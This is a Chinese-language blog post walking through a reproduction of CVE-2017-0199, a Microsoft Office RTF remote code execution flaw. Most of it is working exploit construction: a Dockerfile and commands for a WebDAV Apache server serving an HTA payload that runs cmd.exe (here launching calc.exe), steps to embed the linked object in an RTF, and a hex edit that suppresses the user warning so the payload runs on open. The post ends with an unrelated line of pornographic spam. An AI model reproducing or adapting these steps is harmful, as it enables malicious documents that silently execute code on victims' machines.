CVE-2017-0199漏洞復現 2017-04-20

CVE-2017-0199是首個Microsoft Office RTF漏洞,漏洞發布日期為2017年4月11日。受影響系統包括:

當用戶打開包含嵌入式漏洞的文檔時,此漏洞允許惡意攻擊者下載并執行包含PowerShell命令的Visual Basic腳本。

微軟官方對該漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

漏洞復現

首先我們需要一個apache服務器、一個POC、一個Word。

apache

apache需要開啟DAV支持,為了方便。

這里我使用了docker來搭建,寫了如下Dockerfile:

FROM ubuntu:14.04
MAINTAINER 王松_Striker 

?
? RUN sed -i ‘s/archive.ubuntu.com/mirrors.ustc.edu.cn/g’ /etc/apt/sources.list
?
RUN apt-get update -y && apt-get install -y apache2

RUN a2enmod dav \
    &&    a2enmod dav_fs    \
    &&    a2enmod dav_lock    \
    &&    a2enmod headers

RUN service apache2 restart

EXPOSE 80

COPY start.sh /start.sh
RUN chmod +x start.sh

CMD ["/start.sh"]

其中start.sh的內容為:

#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log

然后構建該鏡像:

docker build -t cve-2017-0199 .

運行容器:

docker run -d -p 8881:80 cve-2017-0199

本地打開,如果出現如下頁面表示搭建成功:

3718947873

POC

a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();

Word

新建一個Word,名為:test.docx

內容任意,我這里使用Hi, Striker

57534556

復現過程

首先在apache目錄下建立test目錄,我們需要進入docker容器中并返回一個交互shell,方便后續操作:

docker exec -it 容器ID /bin/bash

然后在交互shell中執行:

mkdir /var/www/html/test/

然后我們把test.docx復制到test目錄下:

新建一個shell窗口執行:

docker cp `pwd`/test.docx 容器ID:/var/www/html/test/

然后在把test.docx命名為test.rtf:

cd /var/www/html/test/
mv test.docx test.rtf

然后新建一個word就叫mypoc.docx吧。

分別點擊插入 -> 對象 -> 由文件創建 -> 鏈接到文件,然后輸入rtf的網址。

3460757953

然后把mypoc.docx另存為exp.rtf。

現在我們可以刪掉apache上的test.rtf,然后寫入POC或直接替換掉test.rtf:

echo "
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
" > test.rtf

此時我們需要修改apache的配置:

vi /etc/apache2/apache2.conf

需要添加的內容如下:

<Directory />  
Dav on  
</Directory>  
<Directory /var/www/html/test/>  
Header set Content-Type "application/hta"  
</Directory>

效果如圖:

1375449329

然后重啟服務器:

service apache2 restart

此時打開我們的exp.rtf

3795183999

點擊“是”,將會彈出計算器:

3914045734

當然這個提示也是可以取消掉的。

我們用winhex打開exp.rtf\object\objautlink\rsltpict修改為\object\objautlink\objupdate\rsltpict

824244347

文章首發于Web安全與前端公眾號,歡迎關注.

一级A片不卡在线观看